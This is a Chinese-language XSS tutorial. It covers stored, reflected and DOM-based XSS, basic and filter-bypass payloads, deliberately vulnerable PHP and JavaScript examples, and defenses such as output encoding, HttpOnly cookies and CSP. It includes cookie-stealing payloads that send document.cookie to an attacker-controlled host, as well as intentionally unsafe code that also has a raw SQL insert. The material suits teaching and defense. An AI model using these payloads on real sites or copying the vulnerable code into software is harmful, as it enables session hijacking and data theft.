一、学习XSS 漏洞
(一)什么是 XSS
XSS(跨站脚本攻击 Cross Site Scripting):攻击者将恶意 JS 代码注入网页,其他用户访问页面时,浏览器会执行这段恶意脚本,窃取用户信息、劫持会话、篡改页面等。核心原理:网站未过滤用户可控输入,直接输出到页面 HTML 中,浏览器分不清正常代码和恶意脚本。
XSS 三大分类
存储型 XSS(持久型,危害最大)恶意代码存入服务器数据库,所有访问该页面的用户都会触发。场景:评论区、留言板、帖子、个人简介、商品评价。流程:攻击者提交恶意内容→存入数据库→普通用户打开页面→执行恶意 JS。
反射型 XSS(非持久型)恶意代码放在 URL 参数里,服务器接收参数直接拼到页面,仅点击恶意链接的人受害。场景:搜索框、跳转页面、传参页面 ?search=xxx。流程:构造带恶意 JS 的 URL→诱导受害者点击→服务器带回参数渲染页面→执行脚本。
DOM 型 XSS(纯前端,不经过服务器回显)漏洞完全在前端 JS 代码,服务器不返回恶意代码,前端 JS 直接读取 URL、localStorage、cookie 等数据拼接 DOM。特点:抓包响应包看不到恶意脚本,靠前端代码渲染触发。场景:页面 URL 锚点#、前端渲染标题、跳转、展示本地存储数据。
(二)XSS 能实现哪些攻击效果
(三)基础 Payload(入门测试语句)
1. 最简单弹窗测试(判断是否存在 XSS)
<script>alert(1)</script>
2. 绕过过滤变种(过滤 script 标签时用)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<a href=javascript:alert(1)>test</a>
3. 不带括号(过滤 () 时)
<script>alert`1`</script>
<img src=x onerror=alert`1`>
4. 编码绕过(URL 编码、HTML 实体编码)
URL 编码 < = %3C > = %3E
%3Cscript%3Ealert(1)%3C/script%3E
5. 窃取 Cookie 核心 Payload
<script>document.location='http://攻击者服务器?cookie='+document.cookie</script>
<img src=x onerror="window.open('http://xxx.com/getcookie?c='+document.cookie)">
攻击者搭建日志页面,接收 URL 携带的 cookie,即可拿到受害者会话凭证。
(四)三类 XSS 实战案例演示
案例 1:反射型 XSS
页面源码:search.php
<?php
$key = $_GET['keyword'];
echo "你搜索的内容:".$key;
?>
无过滤,直接拼接输出。构造 URL:http://xxx.com/search.php?keyword=<script>alert(document.cookie)</script>打开页面直接弹出 cookie。
案例 2:存储型 XSS
留言页面,提交内容存入数据库,读取直接展示:
// 提交写入数据库
$msg = $_POST['msg'];
insert into message(content) values($msg);
// 展示留言
$res = select content from message;
echo $res['content'];
提交内容:<svg onload=alert(1)>,任何人访问留言页都会弹窗。
案例 3:DOM 型 XSS
前端代码,读取 URL 锚点渲染页面标题,服务器无输出恶意代码:
<script>
let name = location.hash.slice(1);
document.getElementById("title").innerHTML = name;
</script>
<div id="title"></div>
构造链接:xxx.com/#<img src=x onerror=alert(1)>页面加载后前端 JS 读取 #后的内容渲染,触发 XSS。
(五)常见过滤与绕过思路
(六)XSS 防御方案(开发修复标准)
1. 输入过滤(基础,不推荐单一依赖)
黑名单不可靠,攻击者变种太多;优先白名单,只允许合法字符。
2. 输出编码(最核心,分场景编码)
不同输出位置使用对应转义函数:
3. 安全 Cookie 防护(防止 Cookie 被窃取)
设置 Cookie 两个关键属性:
- HttpOnly:JS 无法读取 document.cookie,XSS 拿不到会话 cookie
- Secure:仅 HTTPS 传输 cookie
4. CSP 内容安全策略(终极防御)
HTTP 响应头添加 CSP,限制页面只能加载信任域名的 JS,禁止内联脚本、eval 执行。示例头:
plaintext
Content-Security-Policy: default-src 'self'
禁止javascript:伪协议、onerror/onload 事件、内联 script。
5. 过滤危险 DOM 操作
前端禁止使用innerHTML、document.write、eval;改用innerText纯文本渲染,不会解析 HTML 标签。
(七)本地练习环境搭建(快速练手)
1. 推荐靶场
2. 简易本地 PHP 测试页面(一键测试)
新建xss.php,本地 phpstudy 运行:
<?php
$xss = $_GET['id'];
echo "输入内容:".$xss;
?>
访问 127.0.0.1/xss.php?id=<svg onload=alert(1)> 直接复现反射 XSS。

